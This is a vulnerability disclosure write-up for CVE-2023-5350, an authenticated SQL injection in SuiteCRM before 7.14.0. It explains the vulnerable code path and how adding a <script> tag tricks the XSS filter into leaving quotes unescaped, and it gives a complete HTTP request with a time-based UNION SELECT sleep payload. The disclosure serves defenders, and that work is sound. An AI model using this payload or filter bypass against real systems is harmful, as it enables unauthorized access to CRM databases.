Home CVE-2023-5350 - SuiteCRM < v7.14.0 authenticated SQL injection
Post
Cancel

CVE-2023-5350 - SuiteCRM < v7.14.0 authenticated SQL injection

TL;DR

Authenticated SQL injection affecting the Opportunities module of SuiteCRM for versions prior to 7.14.0

Details

At CrowdStrike, following claims from a threat actor to have hacked SuiteCRM at multiple entities using a SQL injection, I started a little audit of SuiteCRM to uncover whether the threat was realistic or not. Upon research, I stumbled on the modules/Opportunities/Save.php file, in which we can find the following code:

1
2
3
require_once('modules/Opportunities/OpportunityFormBase.php');
$opportunityForm = new OpportunityFormBase();
$opportunityForm->handleSave('',true,false);

The handleSave function may end up calling the clone_relationship function, using the duplicate_parent_id POST variable as 4th argument:

code1

Within the clone_relationship function, a SQL query is created with this 4th argument, that could lead to SQL injection:

1
2
3
4
5
6
7
function clone_relationship(&$db, $tables, $from_column = null, $from_id = null, $to_id = null)
{
    [...]
            $query = "SELECT * FROM $table WHERE $from_column='$from_id'";
        }
        $results = $db->query($query);
    [...]

At that point, several security measures prevent direct exploitation of this SQL injection:

  • The Save.php file cannot be accessed directly due to a .htaccess directive setting up a 403 unauthorized access on modules directory.
  • The Save.php requires a valid “SugarEntry” entrypoint, that gets defined by going through the index.php endpoint with the action=Save and module=Opportunities parameters. However, doing so, the POST variables are filtered (quote gets encoded) against basic SQL injection through the use of the clean_incoming_data function.

Yet, the clean_incoming_data function can be tricked into leaving quotes unencoded, as highlighted by this previous bounty report. Yet, the inner working of this bypass was not explained.

Typically, the clean_incoming_data function calls the inner securexss function on each $_POST value. This securexss function first encodes quotes and then calls the xss_clean function from Voku. This xss_clean function decodes all characters present in the input string to clean; in order to detect and strip all the javascript related words afterwards. In case a javascript payload is detected by the function, then the cleaned up (and so decoded) string is returned. In case there is no payload detected, then the original string is returned (the encoded one). By integrating <script> in the SQL payload, xss_clean decodes the string (transform back the encoded quote to a decoded one), detect the attack and remove the <script> tag before returning the string with the decoded quote.

Here is an example request showing SQL injection by triggering a 5 seconds sleep by SuiteCrm application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /suitecrm/index.php HTTP/1.1

Host: <redacted>
Content-Length: 633
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: <redacted>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://<redacted>/suitecrm/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; Users_sp_tab=All; Opportunities_sp_tab=All; ck_login_language_20=en_us; ck_login_theme_20=SuiteP; sugar_user_theme=SuiteP; PHPSESSID=7t8i63rduuadi6vg2n5tsemrq9; ck_login_id_20=d1c6197a-c7cf-4d2f-6970-649c44bd341a
Connection: close


module=Opportunities&record=&duplicateSave=true&duplicate_parent_id=1</script>'%20UNION%20SELECT%20sleep(5),1,2,3,4,5%20--%20-&duplicateId=3005bd81-1904-8e56-d5f5-649d55cc7438&isDuplicate=false&action=Save&return_module=Opportunities&return_action=DetailView&return_id=&module_tab=&contact_role=&offset=1&name=test23&account_name=testaccount&account_id=9bf1efd4-30c2-9e99-067c-649d4e24e2bf&currency_id=-99&date_closed=09%2F07%2F2023&amount=1%2C000%2C000.00&opportunity_type=&sales_stage=Prospecting&lead_source=&probability=10&campaign_name=&campaign_id=&next_step=&description=&assigned_user_name=gg+Administrator&assigned_user_id=1

Proposed patch

The following modifications were proposed to secure the vulnerability:

  • Use focus->db->quote in front of the $_POST['duplicate_parent_id'] variable in the clone_relationship call to make sure quotes are escaped -> implemented (commit)
  • Modify the securexss function to encode the string after the xss_clean function call -> vendor argued testing was necessary before incorporating this change, which is understandable. Last time I checked it was not implemented.

Timeline

30 Jun 2023 : initial report 30 Jun 2023 : vendor confirmation 29 Aug 2023 : update available